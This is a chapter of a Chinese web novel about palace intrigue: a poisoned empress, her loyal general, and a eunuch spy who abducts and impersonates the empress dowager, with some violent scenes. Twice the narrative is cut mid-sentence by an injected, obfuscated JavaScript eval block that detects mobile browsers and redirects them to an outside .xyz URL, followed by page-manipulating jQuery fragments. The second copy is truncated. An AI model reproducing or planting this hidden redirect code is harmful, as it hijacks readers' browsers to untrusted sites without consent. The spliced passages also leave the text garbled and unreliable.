另外,你可先去司寇衙役召集小吏百人、再往楚太保府上调三十护卫。楚家的护卫一个能打十个,乃是楚甲子留在京中护佑他老祖母的人,以防太宰府还有风瑶兵胆敢抵抗皇命。” “是。”莫云长领命令,接过金簪现写的圣旨,前往司徒衙门找人。 此时,有些担忧京都安危的官员陆续上城楼,前来向金簪行礼。 对于这些人,金簪撑着虚弱的身体向他们颔首,又令南叶和杜鹃招呼他们。 南叶向众人躬身道:“辛苦诸位大人了。” 有人眼尖认出南叶,还以为是风子鸾派她来给陛下传信。 金簪只听不言,任由这些人误会。只待天亮,前方战况明晰、后方莫云长拿下风党聚首头目。这京师的权柄才能重回轩辕氏。 这些官员中有人在猜测:“如今战事未稳,这南夫人急切而来,莫不是风府有大动静?太宰昏迷不醒,至今不知情况啊。” “莫不是醒了,才遣南夫人来此?” …… 天慢慢地亮起来,前方的兵马经过一夜鏖战,好似已经决出胜负。 因风向西南,城楼方向未闻到烟火、血腥之气,也无人来报战况。 金簪翘首静待城楼,望见一匹快马从滚滚烟尘中向城楼而来。 “谁……谁来了?”有人看到了这匹马,高声问道。 “楚门甲子,提慕容涛之子——苏枫人头来见。陛下,楚甲子应诺来了。”楚甲子一身血铠控马缰在城楼下高举一颗血淋漓的人头。 金簪高悬一夜的心猛地落地。【原来北延兵营之乱因他而起,散出去的子终于形成围攻之势。楚甲子,你果不负朕所望。】 不待女帝出声,旁有官员已经替她高声问话:“你可是楚氏刘素之孙,楚甲子?” “不错。正是本将军。”楚甲子的目光只盯在那一身银铠的高挑女子身上,瞧着瞧着不由咧大唇齿而笑。 笑容纯粹而热烈,蕴含无限的热情,连一夜厮杀的血腥、疲乏都在这一笑中消弭。 【原来,那一夜竟给我如此深刻的印象。轩辕金簪,我楚甲子要做你的臣子、大将军,为你披挂上阵,护你江山无恙。】 “这楚甲子不是被风太宰派往西边镇守寒雪关吗?”官员私下嘀咕道。 “听说他被风太宰暗杀了呀。瞧这阵势……女帝……她早有谋划?”官员好似悟到了什么,惊色入目道,“这天要变了。”【原来女帝这么深藏不露啊?】 “开城门,迎接朕的楚大将军。”金簪不管旁边一堆七嘴八舌的大臣,克制澎湃而起的欣喜,高声喊道。 她的目光一远,望向随后而来的卦济、风无眠等人马,冷笑了声:“朕今日终于要掀了这天。” 初升的阳光照在女帝的银铠,晕染出一片金银交织的圣洁光芒。金簪耳闻城门开启,看向那道黑色铠甲的高大人影奔上城楼,满心的欢喜在眼前聚拢的黑雾下缓缓的沉寂。 她的身体一软,向地上砸去。 “陛下……” “殿下……” 金簪虚弱的目光看向抱揽自己的楚甲子,使出最后的劲捏紧他的手臂,艰难又虚软道:“护……国……大……将……军。” “陛下,轩辕金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059961|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 簪,金簪……”楚甲子顾不得满身血腥,紧紧地揽住她,高喝道,“快,宣太医啊。” 城楼上一片兵荒马乱,伴随楚甲子快马直入金宫,卫南勋、今夏难、祁缙云、沈长清等人也开始控制风瑶兵。 金簪怎么都想不到,一切都往好得方向走时,命运同她开一个天大的玩笑。 她这一昏迷,世界都变了。 楚甲子被她在昏迷前封为护国大将军,因此被朝臣排挤,求他领兵攻打前往小千秋关的慕容涛二十万兵马。 慕容涛刚生擒轩辕夏,就听闻儿子被义子在阵前斩杀,二十万大军四分五裂:有投降楚不白的,还有往北地逃回去的,往南逃来他这方的。 他恨不得现在就杀回京都,奈何风子棋这家伙领轩辕月辉的兵马前来护驾。 兵荒马乱中,公主金香、皇子金骧被轩辕月辉劫掠而去,而风子棋不明不白地死在战中。 慕容涛虽杀轩辕夏,但还是南下失败。 他领了残部同楚甲子带领的风瑶、北延混合人马打上一架,随后北逃而去。 这已经是金平元年末。 金平二年的夏天,楚甲子再次出征寒雪关,将手下将领分批同石鸣春、冯萧的人马、以及楚氏护国军融合。 他重新整顿军务,建造一支将近四十万人马的大军,此军名为:护国军。 一时间,南北四方都不敢再图谋京师,有了一段短暂和平的时间。 金平三年春,楚甲子终于稳住寒雪关,守得令西戎和北戎召开雪草城汗王大会,意图联合起来攻打寒雪关。 楚甲子得这空闲,下令臣服的卦济、石鸣春镇守寒雪关。 他本人带冯萧、楚荣等亲信,带十万兵前往海宁道府镇守,抵御死灰复燃的天师道众。 趁此行军途中,他带一队人快马返回京师,希望能见上金簪一面。 *京都金宫* “如何是好?已经三年了,陛下时好时坏,人也乏力,常常昏睡不醒。”杜鹃的眼泪吧嗒吧嗒落下来,“还有那梵阳,真是越来越过分。他仗着体内有什么死蛊,便是太后都不敢将他如何。每打他一顿,陛下的身上也会出现伤痕。这如何是好啊。” “如今太后临朝,重用支持陛下的朝臣。而楚将军也要回来了,希望他回来后一切能好起来吧。”南叶拿锦帕擦在金簪苍白的额前,抚摸她骨瘦如柴的手,“殿下日渐消瘦,再这样下去……真就……” 轩辕太后步入乾明宫寝殿,直接走到金簪的榻前。 她抚摸女帝的手,朝随后而来的高廷之和高苗道:“民方、偏方、宫廷方都用了,可还有办法?” “太后娘娘,这虫蛊之术已经远超我等理解的范畴,而且陛下体质特殊,这虫蛊入体生了反意,暂时无药可控。”高廷之蹙眉不展道。 轩辕太后的利眸射在高苗身上,怒目道:“为了一个风子鸾,竟然将命搭上去。蠢货。高苗,此事由你而起,你若不能将女帝治愈,本宫定诛你高氏满门,而那个不男不女的阉人,本宫一定要将他做成人彘。” 高苗跪首道:“微臣已经在用他的血研制金蝉蛊王。若是蛊王成功,定能克制陛下体内生蛊,请太后再容我高氏一段时间。” 轩辕太后还是气不过,耳闻宫侍来报“楚大将军入宫了。” 她起身道:“速将护国将军请入乾明宫正殿,本宫亲自去见他。” 经年军旅生涯,楚甲子不仅魁梧雄壮,而且气质卓然。如今的他就像是大周的定海神针,只要他在,这江山似乎就不会倒。 轩辕太后一见他就十分喜欢,上前拉他的手,轻拍道:“本宫知道,你是为簪儿而来。她每隔三天在人定后会醒一二个时辰,明日晚间正是时候。今夜,你就留宿殿内,先去看望她。” “是,太后。”楚甲子行礼道。 轩辕太后过来人,如何不懂楚甲子目里的想法。 她只笑笑,又听些寒雪关、定山关之事,就将人放了。 楚甲子在偏殿卸下银铠,沐浴过后走入寝殿。 南叶和杜鹃想要拦他,但是一想太后的话也无法,只能眼睁睁地看着他步入寝殿。 楚甲子坐在榻前,看向榻上女子日益苍白的脸。 曾经,这张脸白皙融粉、弹指可破,那双张开的眸如黑夜深邃、繁星明亮,粉红的唇瓣吐出的话是又软又能激起人的胜欲。 如今,这一切都变得灰白无力,更惹人心怜。 楚甲子将两人正式相见得那夜在脑海里回忆了一遍又一遍,画面定格在她披散乌发推开窗户得那瞬。 彼此四目相对,好似开启命运的大门。那瞬,她不仅推开窗扇,也推开直入他内心的门户。 楚甲子轻抚在金簪耳旁的鬓发,随后掀袍上寝床。 他将金簪抱起后,将她的头搁在自己的双腿上,又替她曳好被角。 他沉声低语道:“微臣听祁大人说,陛下喜欢枕在旁人的腿上,这样能令陛下安心入眠。陛下,微臣这双腿不知道会不会搁到陛下?” 金簪眼皮下的珠子滚了滚,似要睁开眼。 然而,楚甲子的期待并未到来,一直坐到深夜,靠着床柱睡了过去。 期间,南叶和杜鹃进殿看了一眼,在楚甲子的警惕的眸光里急急行礼而后又退出去。 楚甲子轻叹了声,低声道:“天师道那边已经率众北上,这个聚众屡灭不尽,说来都是百官朝臣无用,无法平衡士林、府官与百姓间的矛盾。沉疴已久,屡撬不动。 陛下,你怎还不醒,这天下需要你啊。” 他细细叨叨将边关和军营发生的事一点点说着,就盼她能醒来。 不久后,天光大亮,轩辕太后因楚甲子的回归,下令奏响大朝会的号角。 她需要楚甲子的力量来震慑朝臣,令百官听话。 然而,这样的举动给轩辕太后带来真正的杀招。 胜争月辉君的手下控制不了太后,终于采取绝杀换人的手段。 这中间的牵引人,不是别人,正是伶宠出身的梵阳。 梵阳是月辉君派往京都的探子之首,借由他人之手辗转入宫,目的是对抗已经不听胜争命令的有司赤燕,即大周的太后。 35. 替身 京都郊外,加尼大佛庙的后山洞中,环境昏暗且湿漉。落石上的水溅射在轩辕太后的脸庞,滴答声伴随冰凉入骨的感觉,令她慢慢地苏醒过来。 轩辕太后摸把脸颊上冰冷的水滴,立时拔下发髻里的尖头钗,将它握在手上。 她强作镇定,戒备地环顾昏黑不明的四周,试图找出害她至此的人。 一道幽暗的身影持火把进洞,踢踏声伴随溅水声,像是在人心上敲鼓。 来人的脸在火把下渐渐的清晰,光线在此人身上勾勒出分明的明暗界限。 轩辕太后因惊恐、震怒而厉声喊道:“阉人,你敢掳本宫。这是什么地方?” 有司赤燕、轩辕太后怎么都想不到,大朝会上一道为陛下祈福的提议竟被引入一张囚凤大网。一道胜争的密函让她独自离开禁军的视线,落入贼网。 梵阳将火把往旁边的壁坑上一插,回首对墙壁上的黑影欣赏了下。他站着,高大的阴影像是一只猛兽在扑向弱小的有司赤燕。 他拔出一把闪烁银芒的匕首走近软靠在石壁的太后。 耳闻她重重地喘息声,他发出“啧啧”的笑声。 “真是美妙的喘息声啊,有司赤燕。对你现在的处境可还满意?”梵阳没有得到太后的回应。 这是理所当然的。一个合格的谍探将缄口不言植入骨血。 梵阳想到这,垂首勾唇,再扬脸面对太后时,幽幽道,“主人对你近些年的行事很不满哦。” “主人?你竟是轩辕月辉的人。左……阳使……胜争派出多年的左阳使是你,不是月舒?你拿这个秘密引本宫离开禁军视线。”轩辕太后也有耳目,早就听闻胜争派出谍探入京。 她一直以为这人是被轩辕帝封为月女的月舒,没想到梵阳才是真正的左阳使。 各种线索关节在脑中流转,轩辕太后懊悔不迭。只叹当了三年多的太后,忘记胜争月辉谍探的险恶。 她长出口气,心知今日是逃不了。她的神情坦然:“对。以轩辕月辉多疑的性子,本宫不听话,又岂会再用女子。他定是派个男子来代替我。 可是,本宫一直没从月舒口中问到一事。你们既是风子鸾送进宫的伶宠,又怎么会是轩辕月辉的人?” “正因为是风子鸾送的人才不会引起你有司赤燕的怀疑、轩辕帝的猜忌。”梵阳幽幽笑道,“事实证明,绕这么大个圈子进入金宫确实能多活几年。不然,那些被你或杀或送的宫妃不就是我们的下场。” 轩辕太后早知道有这一天,是以,在她能疯时从不犹豫,能杀时绝不手软。只是,没想到这一日来得这么巧妙。或许,朝堂提议“替陛下祈福”就已经是一个圈套。 “你背后既是轩辕月辉,以他‘只行暗事不做明争’的性子,本宫是一点都不意外你是左阳使。只是,本宫经营三年,即将控制朝堂时你才露出爪牙,恐怕你也不是什么忠心之辈。” “哈哈哈哈……不愧是大周第一太后,比起陛下,太后娘娘才是最适合金宫的人啊。”梵阳没有正面回答她的试探,继续道,“我记得你禁足那年,你本有能力杀死月舒,但因胜争谍探出手,扰了你的计划。你也因此断定月舒是左阳使,容她活了几年。 可惜,你的眼里没有男子,没有轩辕帝,没有我……甚至风子鸾都是你的玩物。你的骄傲自大,才让你入了我为你精心布置的局。 啧,即使如此……你依然是胜争第一女谍探。 扯远了……月舒确实是我的人,她还是我的‘娘子’。对了,我们还有一个女儿,来金都镀一层轩辕氏血脉的金,又被带回胜争,成为主人的傀儡。而孩子的娘亲……嘻……她被你卸去四肢,做成人彘,陛下又帮她解脱。这个仇,咱们怎么解呢?” 梵阳瞧向震惊到失语的轩辕太后,就爱看她露出惊慌的神色。 “你……不可能。轩辕金香是……你的……她竟然真没算错,神女阿乐她没错……没算错……”轩辕太后并不在意梵阳说得那些话,只在乎他话里那句真相。 梵阳将匕首滑过轩辕太后的脖子,恼她听话没重点。 轩辕太后的脖子留下一条浅痕,沁出血线。她未出声,只怒瞪梵阳。 梵阳娇柔得“啊”了声,好似在替轩辕太后出声。 他又懒懒地笑道:“不好意思,手滑了。主人不喜欢听你提起神女阿乐四字。他也喜欢神女阿乐,一见倾心呢。他总觉得是你害那个女人伤心。” 他又咯咯地笑道,“你本是我的前首领,这么算起来,若你不背叛主人,我还得乖乖听你的话。真好,你动情又反抗他。 不怕告诉你,他让你杀楚甲子,你偏纵楚甲子出兵海宁道府,彻底惹恼了他。 为你的女儿,堂堂胜争第一谍女,竟决心弃暗投明?” “你有胆就杀本宫。否则,本宫定让你千百倍得还回来。”轩辕太后捂住脖子的伤口处,看向梵阳背后逆光走来的人,一时震惊于色,“你们……你们想……” “哈哈哈哈……”梵阳一把拉过来人的手,朝轩辕太后道,“她可像你?星儿,给太后瞧瞧你的神态模样。虽然这脸还不像,不过,很快就像了。” “你们……你们……来人啊……来人啊……” 轩辕太后明白他的用意,直直往后挪,扶着石壁站起来。随后,她握住金钗,一把刺向扭开头的梵阳。 梵阳一把捏着她的手,诡异得朝旁边的星儿笑道:“星儿,你猜她敢刺我吗?” 星儿的容色寡淡,便是连话都少,半响吐出一字:“敢。” 梵阳觉得好玩,因为他赌太后不敢。 他看向轩辕太后愤怒的脸,嘲讽道:“你敢刺我?刺了我,你的女儿又当如何?生死蛊可不是闹着玩儿呢。”说着,他真就放开轩辕太后的手,等她再次刺来。 轩辕太后“啊”得一声喊,猛得向梵阳的胸膛扎刺,却在近胸口处停了手。 “簪儿……” 本宫的簪儿。本宫在世上唯一的亲人。 【当那些人一个个地离去,当得到最高权势后,当她躺在榻上无声无息时……本宫才发现,这个孩子才是本宫所拥有的唯一。】 “哈哈哈哈……星儿,看到吗?冷心冷肺、阴险狠辣的有司赤燕良心发现了,竟然会因为女儿而不下杀手。 你知道吗?那次她为了解气来抽我,却发现她的女儿伤得更重,吃人的眼神像是要把我活剥。好笑得是她为了安抚高苗,只能忍我。哈哈哈哈…… 有司赤燕忍我啊。她何时会对低贱的人容忍?这就是一个谍探动情的悲哀。” 梵阳觉得这非常好笑,就一直哈哈哈笑着。 一会后,他发现这洞穴里两个女人实在太不给脸了,啧了声:“谍探就是知道怎么规避人的兴奋情绪。若是陛下看到太后娘娘此刻不忍下手的模样,会为这份母女亲情动容吧。 毕竟,她那么善良缺爱,连我姐姐都能被当成太后的替代品,将祁缙云当成父亲的可怜小姑娘。哈哈哈哈……” 梵阳再次疯狂地笑起来。 在他看来,凌虐一个差不多的疯子,是件极为快乐的事。 何况,这个女人是有司赤燕,胜争谍探中第一位将轩辕皇帝玩弄鼓掌的女人,甚至气走当时的神女阿乐。 她入宫二十来载,从一名舞艺、宫女,爬上轩辕皇后的位置,如今更是执掌大周政权。论起趁势而起、抓取人心弱点,没有人比有司赤燕还能干。 “你不得好死。本宫不会让你们得逞。你以为帮着轩辕月辉,能得什么好下场?他将我们自小抓去教养,成为谍探,不过是他探入中原的刺刀。 你这阉人,必也不得好死。今日成王败寇,来日我儿定将你碎尸万段。”轩辕太后厉声喊道,被一侧一直毫无动静的星儿猛地打了一巴掌。 “啊……” “星儿,打坏这张脸,你还怎么用?口上吧唧又不疼,忘记师父怎么教你?” 梵阳一个人唱着独角戏,突觉无趣。他拍了下掌,洞穴口进来一名提箱老者。 “是。”星儿寡言少语得近乎沉默。 梵阳转身离去,耳闻有司赤燕发出最后一声喊叫,低低笑道:“你们啊,毁了她的脸,弄瞎毒哑,再将人扔上京都的大街。若她就这样死了,我家月舒可能会不开心。” “是。” “是,左阳使。” 星儿和老者向离去的梵阳行礼,随后剥去轩辕太后的脸,按在星儿的身上。 待轩辕太后重新走入乐尼神庙,被久候的宫人接回去。 大周的宫廷真地变了模样。 山幽密林处,高苗寻过来。 她看向捏着银蛇把玩的梵阳,本气冲冲的心情一下子就软了。她上前道:“你竟然有闲心玩这个……那是什么?” 梵阳朝她温煦地笑着,瞧向山下喧嚣的太后鸾驾,缓缓道:“你没听说吗?今日太后按百官之意离宫上乐尼神庙为陛下祈福。 不过,中间好像出点意外吧。” 高苗敏感道:“你又做什么?” “冤枉,高医女,我千求万求才得来同你出宫寻药的机会,我敢做什么呀?”梵阳软糯地喊道,趁机靠近高苗,拉她的衣袖轻轻地摇晃,“今日在这宫外,你我可以……” “住口。多事之秋,陛下又是那么个状况,若是不能炼制出金蝉蛊王控制她体内的生蛊,恐陛下时日无多。 届时,你我都不过是乱世猪狗,何来安生?”高苗一把夺过他手里掐着的银蛇放入竹篾,转身而去。 梵阳立在树荫下,明暗斑驳的光线将他深思的模样照出几分神秘感。 【或许有司赤燕说得不错。没了她的金宫,陛下又深受蛊毒之害,联合朝臣就能把持朝政,何必再听轩辕月辉的调令。 只是,我体内这受制于人的毒,不知道能不能全部转移给陛下。 至于朝中官员的合作人选……】 他瞬间想到一个人,比起沈长清、祁缙云这等有风骨的人,此人心胸狭小,是再合适不过的小人。 高苗回身瞧向那孤落的身影,像是那个晚间,他期期艾艾来问:“请问高医女……有医书吗?”那目里有期、神色有望,是一个想要挣出命运枷锁的可怜人。如今,亦然。 “哎,你还走不走?我可是拿人头保你,你别总是给我惹事。”高苗朝梵阳喊道。 梵阳瞧着外强内柔的女子,咧唇一笑,招手道:“来了来了,高医女。你不知道我近来被打得腿疼……啊……” 高苗快步回来,急急地蹲下身查看他的腿。 她抚摸在他的脚踝处,眸里心疼、口中责怪:“谁叫你老是招惹太后。若不是陛下醒来护你,你早被太后斩成七八块养荷花。” “是是……”梵阳说着往前一扑,将仰起身的高苗扑在身下。 他望着高苗躲闪的目光,嘻嘻媚道,“机会难得啊,我可不想错过……任何一个可以给你爱意的机会。” “你……”高苗的脸颊腾起红霞,想起往日与他一起的快乐时光,心一横就将人拉下来亲吻。 夕阳落山,两个气喘吁吁的人坐在石上相拥。 高苗低声问道:“你恨我吗,将你变成这样……” “又不是你的错。你还救了我。我怎么会恨你。何况,那家伙什有与没有对我来说差别不大。”【心中无爱,全是被调养的技巧,有没有都一样啊。何况,我早腻了这身体上的套路。】 梵阳抚摸高苗的脸颊,和缓道,“听高医正说你许了人家,又听杜鹃说,你给那家的公子下毒?” “我不喜欢他,下毒吓唬他罢了。”高苗浅浅回道。 她抚摸着他柔弱无骨的大手长指,这双手是天下最巧妙的手,不仅会制毒、补衣,还会下厨制膳,便是令女子快乐的事,这双手都是最灵巧的。 “我自来古怪,从小到大能听我说话得不过区区几人。我只想将陛下治好,而后天下之大,能到处去走走。那时,你……愿意同我一起去吗?” 梵阳的内心萌动,扯大了唇角。他拥着她,柔声道:“你明明说过,不会爱我。何况,我是这样的……” “我不许你说。”高苗按在他的齿口,仰首吻上去。 梵阳心中只觉得厌烦,除掉有司赤燕后宫中一切都可掌握……这一瞬间,他将会拥有一切,却只感到无聊的厌烦。 他抵住高苗双肩,躲开亲吻,朝她温柔道:“天快黑了。你不是差最后一位药材吗?” “嗯。不急。”高苗心里塞满各种想法,无一不是和梵阳有关。 “怎能不急?”梵阳将高苗拉起来,好言好语劝着,带她离开此地。 *大金宫* 人定时分后,金簪缓缓地睁开双眸,对上一双虎目,然而,这眼波里粼粼泛光,最诚挚不过。 她艰难地扯起唇角,低声道:“我……以为你……走了。” “陛下听得到微臣说话?”楚甲子的面上微热,想将她的头挪下腿,又舍不得移动她。 不过,杜鹃和南叶一直守着,听到动静就端了薄粥入殿。 “我来吧。”楚甲子接过粥碗,将金簪撑起来,将粥一勺勺地喂她入口。 莽汉温柔的举动,冲击力最大。 杜鹃和南叶瞧着楚大将军一个大男人做这么细致的活,对他一直占据寝宫的行为多几分容忍。 金簪用过些米膳,需要洗漱。楚甲子就离开寝殿。 “陛下,你感觉如何?”南叶轻声问道。 “自上次醒来后,朕睡了几天?”金簪弱声道。 “四天。比上一次多了一天。这样看起来蛊虫醒的时间变长,殿下睡的时间就长。”南叶都快成半个行家,耳听杜鹃在哭泣,忙提醒道,“你还不快去偏殿叫高医女。” 杜鹃忙抹泪而去。 趁这段时间,南叶将近来宫里发生的事说给金簪,又说:“前日楚将军回来,昨日召开大朝会,按往日习惯,陛下本该晚间就醒。但是,陛下一直没醒,今日天不亮,太后娘娘就去城外的乐尼神庙给陛下祈福,希望陛下能早日醒来。看来,太后娘娘的诚心应验了。” “大宫侍没做几年,倒学会逢迎拍马。呵……母后如何?”金簪被她拾掇妥当,心下也没力量再翻以往旧账,只觉得现在这样就好。 “晨时,娘娘说会回来守着陛下。不过,晚间她可能太累了,直接回金凤宫。”南叶怕她忧心,赶紧道,“陛下放心,娘娘每日都会来看望你。” “好。”金簪颔首,见楚甲子再次入殿,就问他一些南北的情况。 她在睡梦中的精神时好时坏,像是被锁进一个黑色的匣子,怎么都睁不开眼。虽能偶尔听清,也是时断时续。 “如今朝局还算稳妥,三公中太傅沈长清理政,太师祁缙云管理五官寮所,而你为太保,替朕护国守四方。如此,朕病个三年五载倒也无碍。”金簪玩笑道。 楚甲子心里微疼,言道:“我听说蜀地之人擅长医蛊。你怕四方知道你病重而局势不稳,那就让我私下去趟蜀地替你寻药。” 金簪摆手,目光穿过打开的窗户,融入夜色。 “天师道死灰复燃,北延慕容涛虽败犹在厉兵秣马,他必会来报此仇。四面楚歌,朕寝不安稳,你就别做旁事,替朕好好守着边境。至于虫蛊一事,朕交给高苗,她会给朕一个答案。” “你如此信任她,可这蛊虫分明就是……”楚甲子话没说完,就听杜鹃来报高苗到了。 高苗入殿后朝金簪行礼,给陛下把脉。良久后,她愧疚道:“陛下,这一切都是微臣的错。但你放心,微臣一定能研制出解开生蛊的方法。即使无法解蛊,微臣也会用新制的金蝉蛊王镇住它。” 楚甲子抿唇,低斥道:“这换一个蛊虫进去,若是加重陛下的身体负担呢?” “金蝉蛊王乃是用‘百毒解之说‘的金蝉为引,再辅以各种奇珍毒物养制。待成功之日,它一定能解陛下身上的蛊毒。”高苗言之凿凿道。 “如今陛下的身体已经如此,若你再来个三年五载,如何能捱?”楚甲子说完,才发现说错话,赶紧跪首道,“微臣鲁莽,胡说八道,请陛下责罚。” 金簪轻轻地摇头,虚弱地叹息道:“朕就这么一两个时辰,懒得听这些。阿苗,朕相信你,你自朕落地后就来照顾朕,比朕的……与朕亲密无间。朕没有不信你,上次听说你要嫁人,还未来得及听你说说。” 高苗撇开脸,摸了下眼角的泪意道:“微臣……我已这般年纪,还嫁什么人?何况,我不想嫁给不爱的人。我想等治好陛下后就离开京师,往蜀地去。若我能将医蛊之术再精进些,不会是半瓶子水的本事,害陛下躺在床上。” 金簪抚摸高苗的手,轻声道:“朕支持你,也答应你。阿苗姐姐,向来是有主张的女子。” “陛下。”高苗紧紧地握住金簪的手,低声道,“趁陛下现在醒着,我去将药端来。” 金簪颔首,又问了杜鹃有关于梵阳的事。她低声道:“思来想去,不是血口伤痕中的招。你帮朕盯着他些,而且高苗与他日夜相处研制蛊毒,朕放心高苗,却觉出梵阳不可信。自凌少保的送行诏一出后……朕总觉得好似忽略什么。” “陛下怀疑他,不如让我来处置他。”楚甲子言道。 金簪摇头,轻出口气道:“今夜好像是晴日,你力气大,抱朕出去吹吹清风,看看明月吧。” 楚甲子闻言,叹了声。他也听过梵阆一事,因过世的舞艺司侍,陛下对梵阳多有宽容。 他按金簪的意思,将人抱起来走至殿外。 杜鹃和南叶早已命宫侍放好软榻,伺候金簪躺上去。 “以往一点不觉得这些东西珍贵,仿佛唾手可得。如今这番境地,方才觉得……”金簪感叹不过一句就听到哭泣声,不由微微一笑,朝立在旁边当柱子的楚甲子道,“过来,让朕靠着你。” 楚甲子迟疑了下。人醒来和睡着是两种状态,此刻不免有点难为情。他终是放下那点腼腆,坐在金簪身后,把她抱在怀里拥揽住。 “陛下,要好好吃东西。” “你可以不说话,你一说,我就知道你在说我病瘦了。”金簪低声一笑,察觉身后的人紧绷身体,便安静了下来。 此刻的金簪像是邻家的小姑娘一样,依偎在大哥哥的怀里,静静地欣赏月色。 良久后,金簪终是放不下国事,又问道:“明日,你要离京了?” “嗯。天亮就走。大军该到海宁府了。”楚甲子言道。 “瞧这时节、月色,年底前可要回来啊。”金簪靠在他的怀里低声道,慢慢地睡了过去。 “陛下……”楚甲子的心中刺痛,好恨这蛊毒。他暗暗下个决定,尽快解决天师道,再偷偷前往蜀地,一定要找到解蛊之法,将它带回给女帝。 ** 数日后,楚甲子早已带亲信离京,而沈长清在上朝途中因马车受惊,撞翻新砌瓦墙。 那墙面砸在他的车上,车架被毁坏不说,也让他的腿受伤,自此不良于行。 一位如日中天的三公大人就此泯然于众。 莫云长作为沈长清的亲近门生,按先生的意思在病期间代为处理朝政。 一时间,莫府门客如云,百官争相送礼。 莫云长起初拒绝几次,最终抵不住诱惑开始陆续收礼。而他这一代替,就被人拱上高台。 沈长清伤好后却只能坐在轮椅上,管不到莫云长的行事作风。他听闻些风声,在病榻上提醒莫云长两句。 然而,莫云长当面一副悉心听教的恭敬模样,出府后已将那些告诫抛掷脑外。 祁缙云掌管五官,拜为大司徒。 自沈长清出事后,他在五官行事日渐受阻,询来问去都不知道是谁搞的鬼。他去求见太后,希望清理吏治,恢复被风子鸾废除的士林考核,提拔人才。 然则,太后三言两语就将人打发。随后,虎贲军就控制乾明宫,不准外人入宫见陛下。 祁缙云以死求见金簪,终于被梵阳放入寝殿。然而,他发现陛下病重得人事不知,根本处理不了朝政事务。 此后,他在朝中举步维艰,试着与卫南勋合作。 无论如何,不管朝堂如何,后宫有何风云,都要先保陛下的性命要紧。 后宫偏殿内,梵阳朝躬身谄笑的莫云长冷笑:“你这倒好,收这些东西后还送到本监的面前。莫不是,你在告诉旁人是本监让你贪墨?莫云长,别以为本监不知道你在朝中搞的小动作。若是祁缙云抓住你的把柄,本监也保不下你。 趁此机会,多提拔亲信,如此才好对抗祁缙云。” “是。梵大宫,这是月罗府送来的奇珍。下官知你爱这些,定能投您所好,请大宫笑纳。”莫云长将东西递给梵阳的亲信。 梵阳瞧进打开的盒子,定睛后立时从座位上站起来。 【巧了,高苗一直在找可以令金蝉蛊王融合生死蛊已延寿之法,如今关键的月罗雪蝉就来了。】 “不错。这东西送得甚和本监心意。另外,听说护国将军要从南边回来了?” “啊……是。天师道的教众都是群散兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“猪油蒙了心啊。你好好看看你身边的人吧。”高廷之也有耳闻朝中事,心知内外小鬼已经联合成势,一时难以抗衡。 如今,为挽回这个错误,他待在金簪的偏殿不走了。 梵阳觉出高家要脱离掌控,寻思要害高廷之。然而,高苗的质问和猜疑,让他起了周旋的乐趣。 何况,金簪如今的状态已经毫无威胁可言。 自楚甲子出事后,梵阳伙同莫云长提拔亲信加入护国军。 这番下来,他算是步有司赤燕之后,彻底脱离胜争月辉的掌控。 金平五年,梵阳照旧将胜争给的解药融水,捏住金簪的下颚灌进去。 他看着奄奄一息、骨瘦嶙峋的女子,低声道:“你恐怕不知道吧,我以你的血练了好多蛊,真想都用在你的身上啊。不过,高廷之那老头看得紧,现在也啃书啃得厉害。 你是真不能死啊。每月的大朝会,得让人将你穿戴整齐后送上帝位坐一坐。 但是,我真得手痒,今日我将情蛊研制成功,此蛊无毒。我将雌蛊放在你的身上,而这雄蛊么……呵呵呵……明日,我会出城巡营,就将它当街放了。 它趴在谁的身上,谁就是你的夫君……啊……不对,你可能活不长,那雄蛊也活不长。 不打紧,就看你的天命了。你这般倒霉,不知道雌雄两蛊谁先死。哈哈哈哈……” 金簪躺在床上一动不动,两颊深陷几无人样。若不是高廷之给她吊一口气,早已死去。 翌日,风和日丽,本该繁华热闹的京都已经一片萧瑟。 往日的繁华如潮退去,京中富家、贵族跑的跑、逃的逃,依附的依附,作恶得越发猖狂,令京中多很多乞丐流氓,空巷遗宅。 十三岁的凌云一身乞丐服,趴在乞丐群里顾我地雕刻一截木头。 乞丐头子铁老大瞧着他道:“又刻什么呢?快去要饭,哪日真饿死了,又害你义父义母伤心。咿,宫里的马车。” 凌云手上的动作一顿,扬眸看向白马大道的尽头。他被铁老大踢了两脚也没发作,将手里的木头和削木的薄刀塞进怀,拍把屁股上的尘土,捏上空碗向大道走去。 铁老大一看这小子要搞事,不由躲开几步。拦是拦不住,不被殃及就不错了。 一辆华丽至极的马车从白马大街的尽头驶来,前后仪仗都快要比得上以前的风子鸾出行。 凌云的双眸微眯,心里想着那个人,正待上前被铁老大一把拉回道边。 铁老大急切道:“不是女帝。” 马车上的梵阳掀起帘角,一眼相中落拓脏兮的孩子。他朝旁边亲手提拔的虎贲军首领罗明道:“将那小乞丐给本监带过来。” “是。”罗明一把推开铁老大,提起十三岁的凌云扔在马车旁。 车帘被掀开一角,梵阳瞧着目光明亮有神的孩子,嘻嘻笑道:“有一双好眼睛,像是藏了很多事。不错,这个盒子,赏你了。”说完,他将一个盒子扔在凌云的手旁。 凌云的目光垂落,收敛眸里的恨意。他被罗明踢了一脚,踹去路边,连带那个打开的盒子。 他死死地盯着远去的马车队伍,没注意到一只透明带血线如蜱虫般的东西一口咬在指尖。他“嗯”了声,低首看向指尖的血点,甩了下手道:“死太监,莫名其妙。” 【就是你杀了我祖父,什么送行诏,早晚我要你血债血偿。】 铁老大看车队走远才敢再次过来。他捡起路上的盒子,翻来覆去道:“啧,看起来是个好东西,能换钱。” 凌云闻言,猛得从地上跳起来,一把夺过木盒,平静道:“贵人给我的东西,你敢拿啊?” 【莫党那些戏人成性、作恶多端的东西能给什么好东西,不怕毒死你。】 说完,他挺个胸膛揣空碗和盒子走了。 